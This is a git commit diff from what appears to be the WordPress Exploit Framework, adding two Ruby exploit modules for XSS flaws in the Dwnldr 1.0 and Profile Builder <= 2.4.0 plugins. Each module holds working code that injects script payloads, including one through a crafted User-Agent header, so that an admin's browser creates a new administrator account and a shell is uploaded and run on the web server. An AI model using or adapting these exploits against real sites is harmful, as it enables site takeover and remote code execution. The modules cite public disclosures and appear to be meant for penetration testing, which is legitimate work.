Merge pull request #17 from rastating/development

rastating · web-flow · commit 15929c5034a8 · 2016-07-18T12:15:27.000+01:00
New modules
diff --git a/lib/wpxf/wordpress/xss.rb b/lib/wpxf/wordpress/xss.rb
@@ -11,6 +11,12 @@ module Wpxf::WordPress::Xss
   def initialize
     super
     @success = false
+    @info[:desc] = 'This module stores a script which will be executed when '\
+                   'an admin user visits the vulnerable page. Execution of the script '\
+                   'will create a new admin user which will be used to upload '\
+                   'and execute the selected payload in the context of the '\
+                   'web server.'
+
     register_options([
       StringOption.new(
         name: 'xss_host',
diff --git a/modules/exploits/dwnldr_xss_shell_upload.rb b/modules/exploits/dwnldr_xss_shell_upload.rb
@@ -0,0 +1,55 @@
+class Wpxf::Exploit::DwnldrXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::Xss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Dwnldr 1.0 XSS Shell Upload',
+      author: [
+        'Rob Carr <rob[at]rastating.com>' # Disclosure + WPXF module
+      ],
+      references: [
+        ['URL', 'http://blog.rastating.com/dwnldr-1-0-stored-xss-disclosure']
+      ],
+      date: 'Jul 18 2016'
+    )
+
+    register_options([
+      StringOption.new(
+        name: 'attachment_link',
+        desc: 'The address of a valid attachment download link',
+        required: true
+      )
+    ])
+  end
+
+  def check
+    check_plugin_version_from_changelog('dwnldr', 'readme.txt', '1.01')
+  end
+
+  def run
+    return false unless super
+
+    emit_info 'Storing script...'
+    res = execute_get_request(
+      url: datastore['attachment_link'],
+      headers: { 'User-Agent' => "\"><script>#{xss_ascii_encoded_include_script}</script><\"" }
+    )
+
+    if res.nil?
+      emit_error 'No response from the target'
+      return false
+    end
+
+    if res.code != 200
+      emit_error "Server responded with code #{res.code}"
+      return false
+    end
+
+    emit_success 'Script stored and will be executed when a user views the download logs for the specified attachment.'
+    start_http_server
+
+    xss_shell_success
+  end
+end
diff --git a/modules/exploits/profile_builder_reflected_xss_shell_upload.rb b/modules/exploits/profile_builder_reflected_xss_shell_upload.rb
@@ -0,0 +1,38 @@
+class Wpxf::Exploit::ProfileBuilderReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Profile Builder <= 2.4.0 Reflected XSS Shell Upload',
+      author: [
+        'Yorick Koster',                  # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8547'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_profile_builder_wordpress_plugin.html']
+      ],
+      date: 'Jul 13 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('profile-builder', '2.4.1')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'users.php')
+  end
+
+  def initial_script
+    %|<html><head></head><body><script>
+      #{js_post}
+      post('#{vulnerable_url}?page=unconfirmed_emails', {
+        page: '"><script>#{xss_ascii_encoded_include_script}<\\/script>'
+      });
+    </script></body></html>
+    |
+  end
+end
